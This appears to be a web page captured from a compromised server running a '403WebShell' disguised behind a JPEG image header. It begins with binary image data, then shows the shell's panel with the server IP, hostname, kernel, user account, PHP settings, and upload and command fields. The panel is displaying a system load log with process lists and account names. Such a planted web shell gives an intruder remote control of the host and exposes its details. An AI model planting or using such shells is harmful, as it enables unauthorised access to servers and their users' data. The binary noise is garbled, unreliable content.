JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 173.199.190.172  /  Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/loadwatch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/loadwatch/2025-11-05.04.03.txt
 ## mem threshold exceeded
## server overview
2025-11-05.04.03 load[1] mem[84/28] mysql[1/8] httpd[5]
              total        used        free      shared  buff/cache   available
Mem:           2363        1872          72          18         418         286
Swap:          1999         656        1343
 04:03:01 up 15 min,  0 users,  load average: 1.81, 0.64, 0.45
## system overview
top - 04:03:01 up 15 min,  0 users,  load average: 1.81, 0.64, 0.45
Tasks: 176 total,   1 running, 174 sleeping,   0 stopped,   1 zombie
%Cpu(s): 51.5 us, 21.2 sy,  0.0 ni, 18.2 id,  6.1 wa,  0.0 hi,  3.0 si,  0.0 st
KiB Mem :  2420300 total,    80000 free,  1907240 used,   433060 buff/cache
KiB Swap:  2047996 total,  1374972 free,   673024 used.   304080 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  3987 mysql     20   0 1457788 201616   1888 S  87.5  8.3   0:13.91 /usr/sbin+
 11229 nigeria   20   0  400652  15940  10220 S  12.5  0.7   0:00.04 /opt/cpan+
     1 root      20   0   44420   3420   1512 S   6.2  0.1   0:02.48 /usr/lib/+
   408 root      16  -4   55532    232    104 S   6.2  0.0   0:00.09 /sbin/aud+
   493 dbus      20   0   58716   1356    640 S   6.2  0.1   0:00.59 /usr/bin/+
   528 root      20   0   24896   1432    832 S   6.2  0.1   0:00.27 /usr/lib/+
 11222 pactpay   20   0  476724  17484  11728 S   6.2  0.7   0:00.02 /opt/cpan+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 S   0.0  0.0   0:00.05 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:00.01 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 S   0.0  0.0   0:00.83 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:00.00 [migratio+
    14 root      20   0       0      0      0 S   0.0  0.0   0:00.10 [ksoftirq+
    15 root      20   0       0      0      0 S   0.0  0.0   0:00.04 [kworker/+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    36 root      20   0       0      0      0 S   0.0  0.0   0:04.86 [kswapd0]
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.00 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    48 root      20   0       0      0      0 S   0.0  0.0   0:00.11 [kworker/+
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   103 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [kauditd]
   239 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   245 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   246 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   247 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   248 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   250 root      20   0       0      0      0 S   0.0  0.0   0:00.07 [kworker/+
   251 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   260 root       0 -20       0      0      0 S   0.0  0.0   0:00.45 [kworker/+
   265 root       0 -20       0      0      0 S   0.0  0.0   0:00.28 [kworker/+
   269 root      20   0       0      0      0 S   0.0  0.0   0:00.03 [kworker/+
   276 root      20   0       0      0      0 S   0.0  0.0   0:00.07 [jbd2/vda+
   277 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   357 root      20   0   40240   4872   4556 S   0.0  0.2   0:00.60 /usr/lib/+
   378 root      20   0   45356    284    124 S   0.0  0.0   0:00.38 /usr/lib/+
   413 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   414 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   477 rpc       20   0   69256    192     88 S   0.0  0.0   0:00.01 /sbin/rpc+
   489 polkitd   20   0  612240    980    584 S   0.0  0.0   0:00.16 /usr/lib/+
   491 root      20   0  152780     88     80 S   0.0  0.0   0:00.00 /usr/sbin+
   510 root      20   0  195208      0      0 S   0.0  0.0   0:00.00 /usr/sbin+
   532 root      20   0   21540    416    304 S   0.0  0.0   0:00.01 /usr/sbin+
   533 root      20   0  224144   5600    744 S   0.0  0.2   0:00.08 queueproc+
   535 root      20   0   52852    124    120 S   0.0  0.0   0:00.00 /usr/sbin+
   552 nscd      20   0  928956    984    480 S   0.0  0.0   0:00.19 /usr/sbin+
   558 root      20   0   25908     20     20 S   0.0  0.0   0:00.00 /usr/sbin+
   560 root      20   0  124480    464    332 S   0.0  0.0   0:00.02 /usr/sbin+
   565 root      20   0    4388     44     40 S   0.0  0.0   0:00.00 /usr/sbin+
   581 root      20   0  114704     60     60 S   0.0  0.0   0:00.02 /bin/bash
   582 root      20   0  108296     80     76 S   0.0  0.0   0:00.00 /sbin/age+
   614 mailnull  20   0   90692   2984     36 S   0.0  0.1   0:00.02 /usr/sbin+
   618 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   660 root       0 -20       0      0      0 S   0.0  0.0   0:02.03 [loop0]
   665 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [jbd2/loo+
   666 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
  3173 telegraf  20   0 5654048  29584    292 S   0.0  1.2   0:00.69 /usr/loca+
  3175 memcach+  20   0  342400     40     40 S   0.0  0.0   0:00.01 /usr/bin/+
  3176 root      20   0  111304    424    320 S   0.0  0.0   0:00.12 /usr/sbin+
  3177 named     20   0  711724  24064   1012 S   0.0  1.0   0:00.82 /usr/sbin+
  3179 root      20   0 1763068 950728     44 S   0.0 39.3   0:13.94 /usr/loca+
  3188 systuser  20   0   10388     52      0 S   0.0  0.0   0:00.00 /usr/loca+
  3189 root      20   0  153404    296    216 S   0.0  0.0   0:00.02 pure-ftpd+
  3190 root      20   0  397344   3268    576 S   0.0  0.1   0:00.28 php-fpm: +
  3192 root      20   0  572372    908    444 S   0.0  0.0   0:00.18 /usr/bin/+
  3196 root      20   0  392856    268    184 S   0.0  0.0   0:00.09 php-fpm: +
  3198 cpanelc+  20   0    9700   2652   2312 S   0.0  0.1   0:00.66 /usr/loca+
  3199 systuser  20   0   12660     60      0 S   0.0  0.0   0:00.00 /usr/loca+
  3200 systuser  20   0  113932   2036      0 S   0.0  0.1   0:00.00 /usr/loca+
  3204 root      20   0   51508    236     76 S   0.0  0.0   0:00.04 /usr/sbin+
  3205 root      20   0  445028   2604   2604 S   0.0  0.1   0:00.05 sw-engine+
  3210 systuser  20   0  113016   1616      0 S   0.0  0.1   0:00.00 /usr/loca+
  3211 root      20   0  261144   5600    856 S   0.0  0.2   0:00.56 cpsrvd (S+
  3222 root      20   0  436392  10972  10884 S   0.0  0.5   0:00.13 php-fpm: +
  3224 root      20   0  216400   4980   3560 S   0.0  0.2   0:00.30 /usr/sbin+
  3226 root      20   0  386112    384    176 S   0.0  0.0   0:00.09 php-fpm: +
  3237 root      20   0  385496    524    320 S   0.0  0.0   0:00.10 php-fpm: +
  3238 systuser  20   0  114016  12264   2200 S   0.0  0.5   0:00.35 /usr/loca+
  3338 dovenull  20   0   46772    432    140 S   0.0  0.0   0:00.01 dovecot/p+
  3339 dovenull  20   0   47188    952     80 S   0.0  0.0   0:00.02 dovecot/i+
  3340 dovecot   20   0   10320    112      0 S   0.0  0.0   0:00.00 dovecot/a+
  3341 root      20   0   10452    616    444 S   0.0  0.0   0:00.00 dovecot/l+
  3342 dovenull  20   0   46912   1044    416 S   0.0  0.0   0:00.01 dovecot/p+
  3343 dovenull  20   0   46780    324     64 S   0.0  0.0   0:00.00 dovecot/i+
  3347 root      20   0   24396   1804    124 S   0.0  0.1   0:00.02 dovecot/c+
  3355 dovecot   20   0   13568    328    112 S   0.0  0.0   0:00.00 dovecot/s+
  3399 wp-tool+  20   0  410452  35172   1424 S   0.0  1.5   0:00.96 /usr/bin/+
  3400 wp-tool+  20   0  387528  12844   1260 S   0.0  0.5   0:00.09 /usr/bin/+
  3408 dovecot   20   0   41056    460     72 S   0.0  0.0   0:00.02 dovecot/a+
  3411 root      20   0  248156 117232    508 S   0.0  4.8   0:02.93 /usr/loca+
  3421 systuser  20   0  157700   2156    100 S   0.0  0.1   0:00.01 SonarPush+
  3467 root      20   0  209304  10044   1096 S   0.0  0.4   0:00.31 tailwatchd
  3469 root      20   0  183900     96     96 S   0.0  0.0   0:00.09 cpdavd - +
  3472 root      20   0  167452   1040    436 S   0.0  0.0   0:00.06 dnsadmin +
  3902 root      20   0  299272    536    156 S   0.0  0.0   0:00.02 php-fpm: +
  3924 root      38  18  130416    832    116 S   0.0  0.0   0:00.00 cpanellog+
  4182 root      20   0  266984  16680    568 S   0.0  0.7   0:00.11 /usr/sbin+
  4185 root      20   0   12812    460    176 S   0.0  0.0   0:00.03 /usr/loca+
  4186 root      20   0   12732    284     96 S   0.0  0.0   0:00.02 /usr/loca+
  4187 root      20   0   12840    484    172 S   0.0  0.0   0:00.02 /usr/loca+
  4191 root      20   0   53256   9488    112 S   0.0  0.4   0:00.04 /usr/loca+
  4192 nobody    20   0  277540  26508   3724 S   0.0  1.1   0:00.44 /usr/sbin+
  4193 nobody    20   0  277556  26376   3576 S   0.0  1.1   0:00.36 /usr/sbin+
  4194 nobody    20   0  277456  26324   3652 S   0.0  1.1   0:00.38 /usr/sbin+
  4195 nobody    20   0  277420  26412   3760 S   0.0  1.1   0:00.40 /usr/sbin+
  4241 root      20   0  181052  27888   1136 S   0.0  1.2   0:01.02 lfd - sle+
  4372 root      20   0       0      0      0 S   0.0  0.0   0:00.03 [kworker/+
  4378 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [kworker/+
  4463 nobody    20   0  277824  26480   3644 S   0.0  1.1   0:00.30 /usr/sbin+
  4516 nobody    20   0  277620  26348   3608 S   0.0  1.1   0:00.37 /usr/sbin+
  6465 nobody    20   0  277672  26420   3552 S   0.0  1.1   0:00.29 /usr/sbin+
  7405 root      20   0  264600 128740    392 S   0.0  5.3   0:00.64 spamd chi+
  7406 root      20   0  248156 117100    416 S   0.0  4.8   0:00.00 spamd chi+
  7603 root      20   0       0      0      0 S   0.0  0.0   0:00.03 [kworker/+
  8224 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
